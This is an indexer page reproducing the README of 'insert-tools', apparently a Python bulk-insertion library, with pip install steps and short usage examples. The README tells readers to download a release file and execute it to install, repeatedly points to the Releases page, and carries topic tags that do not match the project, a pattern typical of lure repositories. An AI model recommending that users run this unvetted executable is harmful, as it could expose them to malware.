An open API service indexing awesome lists of open source software.

https://github.com/ramarimoo/insert-tools

Simple and fast Python toolset for bulk data insertion into databases and CSVs. Ideal for ETL pipelines and data engineering tasks.
https://github.com/ramarimoo/insert-tools

bigdata cli couchdb database datafaker excel-to-sql export go java pg-dump postgresql script testing wordpress

Last synced: 4 months ago
JSON representation

Simple and fast Python toolset for bulk data insertion into databases and CSVs. Ideal for ETL pipelines and data engineering tasks.

Awesome Lists containing this project

README

          

# Insert Tools 🛠️

![GitHub release](https://img.shields.io/github/v/release/ramarimoo/insert-tools) ![Python version](https://img.shields.io/badge/python-3.6%2B-blue) ![License](https://img.shields.io/badge/license-MIT-green)

Welcome to **Insert Tools**, a simple and fast Python toolset designed for bulk data insertion into databases and CSV files. This repository is ideal for ETL (Extract, Transform, Load) pipelines and data engineering tasks.

## Table of Contents

- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Supported Databases](#supported-databases)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)
- [Releases](#releases)

## Features

- **Bulk Insertion**: Insert large volumes of data efficiently.
- **Multiple Formats**: Supports various database systems and CSV formats.
- **ETL Ready**: Designed for seamless integration into ETL workflows.
- **Open Source**: Free to use and modify under the MIT License.

## Installation

To install Insert Tools, you can use pip. Run the following command:

```bash
pip install insert-tools
```

Alternatively, you can download the latest release from our [Releases](https://github.com/ramarimoo/insert-tools/releases) section. Download the file, then execute it to install.

## Usage

Using Insert Tools is straightforward. Here’s a quick example of how to perform a bulk insert.

### Basic Example

```python
from insert_tools import BulkInserter

# Initialize the inserter
inserter = BulkInserter(database='your_database', table='your_table')

# Prepare your data
data = [
{'column1': 'value1', 'column2': 'value2'},
{'column1': 'value3', 'column2': 'value4'},
]

# Perform the bulk insert
inserter.insert(data)
```

### Advanced Usage

You can customize your insertion process by specifying options such as batch size and error handling. For instance:

```python
inserter = BulkInserter(database='your_database', table='your_table', batch_size=1000)

try:
inserter.insert(data)
except Exception as e:
print(f"An error occurred: {e}")
```

## Supported Databases

Insert Tools supports a variety of databases, including:

- **PostgreSQL**
- **MySQL**
- **SQLite**
- **ClickHouse**
- **MongoDB**

You can easily extend the tool to support additional databases by following the contribution guidelines.

## Contributing

We welcome contributions to Insert Tools. If you have suggestions or improvements, please fork the repository and submit a pull request.

### Steps to Contribute

1. Fork the repository.
2. Create a new branch (`git checkout -b feature/YourFeature`).
3. Make your changes.
4. Commit your changes (`git commit -m 'Add some feature'`).
5. Push to the branch (`git push origin feature/YourFeature`).
6. Open a pull request.

## License

Insert Tools is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.

## Contact

For questions or feedback, feel free to reach out to the maintainers:

- **GitHub**: [ramarimoo](https://github.com/ramarimoo)
- **Email**: [your_email@example.com](mailto:your_email@example.com)

## Releases

For the latest updates and downloads, visit our [Releases](https://github.com/ramarimoo/insert-tools/releases) section. You can download the latest version, which includes new features and bug fixes.

## Additional Resources

- [Python Official Documentation](https://docs.python.org/3/)
- [Pandas Documentation](https://pandas.pydata.org/pandas-docs/stable/)
- [SQLAlchemy Documentation](https://docs.sqlalchemy.org/en/14/)

## Acknowledgments

We would like to thank the contributors and the open-source community for their support and feedback. Your contributions make this project better.

## Frequently Asked Questions (FAQ)

### What is Insert Tools?

Insert Tools is a Python library designed for efficient bulk data insertion into databases and CSV files, making it suitable for ETL processes.

### Can I use Insert Tools with any database?

Insert Tools supports several databases out of the box. You can extend it to support more by following the contribution guidelines.

### How do I report issues?

You can report issues by creating an issue in the GitHub repository. Please provide as much detail as possible.

### Is there a community for Insert Tools?

Yes, you can join our discussions on GitHub or follow us on social media platforms for updates and community support.

## Conclusion

Insert Tools offers a powerful solution for bulk data insertion tasks. Whether you are working on data engineering projects or need a reliable tool for your ETL pipeline, Insert Tools is here to help. Explore the repository, contribute, and make the most of your data workflows.

Visit our [Releases](https://github.com/ramarimoo/insert-tools/releases) section for the latest updates and downloads.